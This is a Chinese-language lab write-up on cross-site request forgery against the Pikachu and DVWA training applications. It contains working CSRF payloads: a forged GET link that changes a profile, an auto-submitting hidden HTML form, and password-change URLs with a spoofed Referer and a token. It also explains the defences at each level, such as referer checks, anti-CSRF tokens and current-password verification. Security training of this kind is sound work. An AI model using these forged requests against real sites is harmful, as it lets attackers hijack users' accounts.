something about Pikachu - CSRF

pikachu

pikachu => 备份地址

CSRF

概述

Cross-site request forgery,简称’CSRF’。由攻击者伪造一个请求(一般以链接的形式),然后欺骗用户进行点击, 用户一但点击了请求,整个攻击就完成了。因此CSRF攻击也被称为one click攻击。

  • CSRF 与 XSS 区别

    XSS一般盗取用户的cookie后,由攻击者利用cookie自行执行恶意操作。 攻击者 登录凭证
    CSRF则是攻击者构造好恶意请求后,交给用户,由用户本人自行点击链接发起请求,若刚好用户的对应网站刚好处于登录 状态,那么相当于用户自己做的恶意操作。 攻击者 登录凭证

  • CSRF防范

    • 对敏感操作增加安全token

    • 对敏感操作增加验证码

    • 对敏感操作增加安全逻辑流程

      如修改密码时先验证旧密码。

CSRF(get)

修改个人信息没有安全防护,因此构造恶意链接诱导用户点击,修改用户性别。

1
/http://train.com/pikachu/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit

CSRF(post)

构造一个html页面,诱导用户访问,页面访问后执行恶意请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postBtn").click();
}
</script>
</head>

<body>
<div>
<h1>正常页面</h1>
</div>

<div style="display: none">
<form method="post" action="http://train.com/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input name="sex" value="bad">
<input name="phonenum" value="18626545453">
<input name="add" value="china">
<input name="email" value="vince@pikachu.com">
<input id="postBtn" type="submit" name="submit" value="submit">
</form>
</div>
</body>
</html>

CSRF(token)

页面有一个隐藏域用来持有token值,此token值是正常登录访问页面时服务器给的随机值, 不是能够简单获取的。因此,使用token进行防范,是一个比较好的手段。


something about DVWA - CSRF

DVWA

DVWA => 备份地址

CSRF(跨站请求伪造)

跨站请求伪造(Cross-site request forgery),也被称作one-click attack

用来挟持用户在当前已登录的Web应用程序上执行非本意的操作。

CSRF访问原理:

CSRF访问模型

Low

  • 手工测试

    直接在已经登录成功,身份认证未失效的浏览器上访问以下url即可更改当前用户的密码。

    1
    http://train.com/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
  • 源码分析

    • 直接从request中获取参数

      1
      2
      3
      // Get input
      $pass_new = $_GET[ 'password_new' ];
      $pass_conf = $_GET[ 'password_conf' ];
    • 新密码与确认密码相同即更新数据库

      使用mysqli_real_escape_string函数转义特殊字符,防止sql注入。 然后将密码使用md5加密后入库。

      1
      2
      3
      # 转义特殊字符
      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
      $pass_new = md5( $pass_new );

Medium

  • 手工测试

    Low级别相同。

    不同的是构造的http请求需要包含Referer字段,用来验证url来源。

    1
    Referer: http://train.com/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change
  • 源码分析

    • 判断请求来源页面是否为本系统页面。

      1
      2
      3
      4
      // Checks to see where the request came from
      if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
      //...
      }

      其它与Low级别相同。

High

  • 手工测试

    Medium级别相同。

    不同的是构造的http请求需要包含页面上隐藏的token参数。(与XSS配合)

    1
    http://train.com/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change&user_token=253d1f2fad7d8c82627b1c356102ad4b#
  • 源码分析

    • 使用token验证身份

      1
      2
      // Check Anti-CSRF token
      checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

      其它与Low级别相同。

    • 最后重新生成token

      1
      2
      // Generate Anti-CSRF token
      generateSessionToken();

Impossible

  • 源码分析

    • 使用token验证身份

      High级别相同。

    • 验证当前用户存在

      验证当前用户当前密码是否正确。

      1
      2
      3
      4
      5
      // Check that the current password is correct
      $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
      $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
      $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
      $data->execute();

      其它与High相同。